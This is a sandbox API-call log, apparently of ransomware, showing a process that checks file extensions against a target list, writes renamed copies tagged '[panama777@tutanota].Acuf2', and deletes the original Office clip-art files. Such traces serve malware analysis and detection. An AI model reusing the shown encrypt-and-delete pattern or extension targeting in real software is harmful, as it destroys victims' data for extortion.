	[0275.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.753] lstrlenW (lpString=".docx") returned 5
	[0275.753] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0275.753] lstrlenW (lpString=".pdf") returned 4
	[0275.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.753] lstrlenW (lpString=".xls") returned 4
	[0275.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.753] lstrlenW (lpString=".xlsx") returned 5
	[0275.753] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0275.753] lstrlenW (lpString=".ppt") returned 4
	[0275.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63
	[0275.753] lstrlenW (lpString=".zip") returned 4
	[0275.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.753] lstrlenW (lpString=".rar") returned 4
	[0275.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.753] lstrlenW (lpString=".bz2") returned 4
	[0275.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.753] lstrlenW (lpString=".7z") returned 3
	[0275.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63
	[0275.754] lstrlenW (lpString=".dbf") returned 4
	[0275.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63
	[0275.754] lstrlenW (lpString=".1cd") returned 4
	[0275.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63
	[0275.754] lstrlenW (lpString=".jpg") returned 4
	[0275.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.754] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.754] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0275.755] GetLastError () returned 0x0
	[0275.755] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2c8c, lpOverlapped=0x0) returned 1
	[0275.756] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2c90, lpOverlapped=0x0) returned 1
	[0275.757] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.757] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.757] SetEndOfFile (hFile=0x390) returned 1
	[0275.758] CloseHandle (hObject=0x390) returned 1
	[0275.758] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.758] SetEndOfFile (hFile=0x32c) returned 1
	[0275.760] CloseHandle (hObject=0x32c) returned 1
	[0275.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf")) returned 1
	[0275.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63
	[0275.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63
	[0275.760] lstrlenW (lpString=".doc") returned 4
	[0275.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.760] lstrlenW (lpString=".docx") returned 5
	[0275.760] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0275.760] lstrlenW (lpString=".pdf") returned 4
	[0275.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.760] lstrlenW (lpString=".xls") returned 4
	[0275.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.760] lstrlenW (lpString=".xlsx") returned 5
	[0275.760] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0275.760] lstrlenW (lpString=".ppt") returned 4
	[0275.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63
	[0275.760] lstrlenW (lpString=".zip") returned 4
	[0275.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.761] lstrlenW (lpString=".rar") returned 4
	[0275.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.761] lstrlenW (lpString=".bz2") returned 4
	[0275.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.761] lstrlenW (lpString=".7z") returned 3
	[0275.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63
	[0275.761] lstrlenW (lpString=".dbf") returned 4
	[0275.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63
	[0275.761] lstrlenW (lpString=".1cd") returned 4
	[0275.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63
	[0275.761] lstrlenW (lpString=".jpg") returned 4
	[0275.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.762] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.762] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0275.763] GetLastError () returned 0x0
	[0275.763] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2fac, lpOverlapped=0x0) returned 1
	[0275.765] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2fb0, lpOverlapped=0x0) returned 1
	[0275.766] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.766] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.766] SetEndOfFile (hFile=0x390) returned 1
	[0275.766] CloseHandle (hObject=0x390) returned 1
	[0275.766] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.766] SetEndOfFile (hFile=0x32c) returned 1
	[0275.768] CloseHandle (hObject=0x32c) returned 1
	[0275.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf")) returned 1
	[0275.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63
	[0275.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63
	[0275.768] lstrlenW (lpString=".doc") returned 4
	[0275.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.769] lstrlenW (lpString=".docx") returned 5
	[0275.769] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0275.769] lstrlenW (lpString=".pdf") returned 4
	[0275.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.769] lstrlenW (lpString=".xls") returned 4
	[0275.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.769] lstrlenW (lpString=".xlsx") returned 5
	[0275.769] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0275.769] lstrlenW (lpString=".ppt") returned 4
	[0275.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63
	[0275.769] lstrlenW (lpString=".zip") returned 4
	[0275.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.769] lstrlenW (lpString=".rar") returned 4
	[0275.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.769] lstrlenW (lpString=".bz2") returned 4
	[0275.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.769] lstrlenW (lpString=".7z") returned 3
	[0275.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63
	[0275.769] lstrlenW (lpString=".dbf") returned 4
	[0275.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63
	[0275.769] lstrlenW (lpString=".1cd") returned 4
	[0275.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63
	[0275.769] lstrlenW (lpString=".jpg") returned 4
	[0275.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.771] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.771] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0275.771] GetLastError () returned 0x0
	[0275.771] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x36b8, lpOverlapped=0x0) returned 1
	[0275.773] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x36c0, lpOverlapped=0x0) returned 1
	[0275.774] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.774] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.774] SetEndOfFile (hFile=0x390) returned 1
	[0275.774] CloseHandle (hObject=0x390) returned 1
	[0275.774] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.774] SetEndOfFile (hFile=0x32c) returned 1
	[0275.776] CloseHandle (hObject=0x32c) returned 1
	[0275.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf")) returned 1
	[0275.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63
	[0275.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63
	[0275.777] lstrlenW (lpString=".doc") returned 4
	[0275.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.777] lstrlenW (lpString=".docx") returned 5
	[0275.777] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0275.777] lstrlenW (lpString=".pdf") returned 4
	[0275.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.777] lstrlenW (lpString=".xls") returned 4
	[0275.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.777] lstrlenW (lpString=".xlsx") returned 5
	[0275.777] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0275.777] lstrlenW (lpString=".ppt") returned 4
	[0275.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63
	[0275.777] lstrlenW (lpString=".zip") returned 4
	[0275.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.777] lstrlenW (lpString=".rar") returned 4
	[0275.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.777] lstrlenW (lpString=".bz2") returned 4
	[0275.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.777] lstrlenW (lpString=".7z") returned 3
	[0275.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63
	[0275.777] lstrlenW (lpString=".dbf") returned 4
	[0275.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63
	[0275.777] lstrlenW (lpString=".1cd") returned 4
	[0275.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63
	[0275.777] lstrlenW (lpString=".jpg") returned 4
	[0275.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.778] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.778] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0275.779] GetLastError () returned 0x0
	[0275.779] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1f0c, lpOverlapped=0x0) returned 1
	[0275.780] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1f10, lpOverlapped=0x0) returned 1
	[0275.781] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.781] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.781] SetEndOfFile (hFile=0x390) returned 1
	[0275.781] CloseHandle (hObject=0x390) returned 1
	[0275.781] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.781] SetEndOfFile (hFile=0x32c) returned 1
	[0275.783] CloseHandle (hObject=0x32c) returned 1
	[0275.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf")) returned 1
	[0275.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63
	[0275.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63
	[0275.784] lstrlenW (lpString=".doc") returned 4
	[0275.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.784] lstrlenW (lpString=".docx") returned 5
	[0275.784] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0275.784] lstrlenW (lpString=".pdf") returned 4
	[0275.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.784] lstrlenW (lpString=".xls") returned 4
	[0275.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.784] lstrlenW (lpString=".xlsx") returned 5
	[0275.784] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0275.784] lstrlenW (lpString=".ppt") returned 4
	[0275.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63
	[0275.784] lstrlenW (lpString=".zip") returned 4
	[0275.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.784] lstrlenW (lpString=".rar") returned 4
	[0275.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.784] lstrlenW (lpString=".bz2") returned 4
	[0275.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.784] lstrlenW (lpString=".7z") returned 3
	[0275.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63
	[0275.784] lstrlenW (lpString=".dbf") returned 4
	[0275.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63
	[0275.784] lstrlenW (lpString=".1cd") returned 4
	[0275.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63
	[0275.785] lstrlenW (lpString=".jpg") returned 4
	[0275.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.785] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.785] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0275.785] GetLastError () returned 0x0
	[0275.786] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1a88, lpOverlapped=0x0) returned 1
	[0275.980] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1a90, lpOverlapped=0x0) returned 1
	[0275.980] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.980] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.980] SetEndOfFile (hFile=0x390) returned 1
	[0275.980] CloseHandle (hObject=0x390) returned 1
	[0275.980] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.981] SetEndOfFile (hFile=0x32c) returned 1
	[0275.983] CloseHandle (hObject=0x32c) returned 1
	[0275.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0276.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf")) returned 1
	[0276.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63
	[0276.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63
	[0276.819] lstrlenW (lpString=".doc") returned 4
	[0276.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0276.819] lstrlenW (lpString=".docx") returned 5
	[0276.819] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0276.819] lstrlenW (lpString=".pdf") returned 4
	[0276.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0276.819] lstrlenW (lpString=".xls") returned 4
	[0276.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0276.819] lstrlenW (lpString=".xlsx") returned 5
	[0276.819] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0276.819] lstrlenW (lpString=".ppt") returned 4
	[0276.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0276.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63
	[0276.819] lstrlenW (lpString=".zip") returned 4
	[0276.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0276.819] lstrlenW (lpString=".rar") returned 4
	[0276.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0276.819] lstrlenW (lpString=".bz2") returned 4
	[0276.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0276.819] lstrlenW (lpString=".7z") returned 3
	[0276.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0276.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63
	[0276.820] lstrlenW (lpString=".dbf") returned 4
	[0276.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0276.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63
	[0276.820] lstrlenW (lpString=".1cd") returned 4
	[0276.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
